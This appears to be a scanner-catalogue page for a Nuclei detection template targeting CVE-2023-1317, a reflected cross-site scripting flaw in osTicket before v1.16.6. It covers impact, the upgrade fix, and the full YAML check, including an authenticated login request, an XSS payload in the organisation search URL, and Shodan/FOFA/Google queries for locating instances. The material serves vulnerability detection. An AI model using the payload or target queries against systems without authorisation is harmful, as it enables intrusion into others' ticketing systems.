osTicket < v1.16.6 - Cross-Site Scripting

mediumseverity

5.4CVSS score

1%likelihood of exploitation, next 30 days

64%of all CVEs are less likely

Readycheck to confirm it

Cross-site Scripting (XSS) - Reflected in GitHub repository osticket/osticket prior to v1.16.6.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.

Fix

Upgrade osTicket to later version to mitigate this vulnerability.

How to confirm it

Send: GET /scp/login.php
Positive when: contains(tolower(body), "osticket")
Send: POST /scp/login.php ; GET /scp/ajax.php/orgs/search?q=osTicket%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3E
Positive when: contains(body, "<img src=a onerror=alert(document.domain)>") and contains(header, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-1317 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-1317

info:
  name: osTicket < v1.16.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository osticket/osticket prior to v1.16.6.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade osTicket to later version to mitigate this vulnerability.
  reference:
    - https://huntr.com/bounties/c3e27af2-358b-490b-9baf-e451663e4e5f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1317
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-1317
    cwe-id: CWE-79
    epss-score: 0.01015
    epss-percentile: 0.63557
    cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: osticket
    product: osticket
    shodan-query: title:"osTicket"
    fofa-query: title="osticket"
    google-query: intitle:"osticket"
  tags: cve,cve2023,osticket,xss,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /scp/login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "osticket")'
        internal: true

    extractors:
      - type: regex
        name: csrftoken
        part: body
        group: 1
        regex:
          - '__CSRFToken__" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __CSRFToken__={{csrftoken}}&do=scplogin&userid={{username}}&passwd={{password}}&ajax=1

      - |
        GET /scp/ajax.php/orgs/search?q=osTicket%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<img src=a onerror=alert(document.domain)>")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from